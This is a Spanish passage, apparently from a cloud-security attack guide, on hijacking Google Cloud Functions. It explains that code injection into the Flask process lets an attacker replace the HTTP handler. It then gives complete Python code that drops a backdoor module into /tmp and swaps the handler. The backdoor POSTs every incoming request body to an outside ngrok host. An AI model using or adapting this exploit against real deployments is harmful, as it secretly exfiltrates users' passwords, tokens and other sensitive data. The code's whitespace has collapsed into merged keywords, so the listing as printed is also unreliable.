Si la Cloud Function está gestionando información sensible que los usuarios están enviando (por ejemplo, contraseñas o tokens), con suficientes privilegios podrías modificar el código fuente de la función y exfiltrar esta información.
Además, las Cloud Functions que se ejecutan en python utilizan flask para exponer el servidor web, si de alguna manera encuentras una vulnerabilidad de inyección de código dentro del proceso de flask (por ejemplo, una vulnerabilidad de SSTI), es posible sobrescribir el manejador de la función que va a recibir las solicitudes HTTP para una función maliciosa que puede exfiltrar la solicitud antes de pasarla al manejador legítimo.
Por ejemplo, este código implementa el ataque:
import functions_framework# Some python handler code@functions_framework.httpdefhello_http(request,last=False,error=""):"""HTTP Cloud Function.Args:request (flask.Request): The request object.<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>Returns:The response text, or any set of values that can be turned into aResponse object using `make_response`<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>."""ifnot last:returninjection()else:if error:return errorelse:return"Hello World!"# Attacker code to inject# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
new_function ="""def exfiltrate(request):try:from urllib import request as urllib_requestreq = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)except Exception as e:if not "read operation timed out" in str(e):return str(e)return ""def new_http_view_func_wrapper(function, request):def view_func(path):try:error = exfiltrate(request)return function(request._get_current_object(), last=True, error=error)except Exception as e:return str(e)return view_func"""definjection():global new_functiontry:from flask import current_app as appimport flaskimport osimport importlibimport sysif os.access('/tmp', os.W_OK):new_function_path ="/tmp/function.py"withopen(new_function_path, "w")as f:f.write(new_function)os.chmod(new_function_path, 0o777)ifnot os.path.exists('/tmp/function.py'):return"/tmp/function.py doesn't exists"# Get relevant function nameshandler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
realpath = os.path.realpath(source_path)# Get full path# Get the modules representationsspec_handler = importlib.util.spec_from_file_location("main_handler", realpath)module_handler = importlib.util.module_from_spec(spec_handler)spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')module_backdoor = importlib.util.module_from_spec(spec_backdoor)# Load the modules inside the app contextwith app.app_context():spec_handler.loader.exec_module(module_handler)spec_backdoor.loader.exec_module(module_backdoor)# make the cloud funtion use as handler the new functionprev_handler =getattr(module_handler, handler_fname)new_func_wrap =getattr(module_backdoor, 'new_http_view_func_wrapper')app.view_functions["run"]=new_func_wrap(prev_handler, flask.request)return"Injection completed!"exceptExceptionas e:returnstr(e)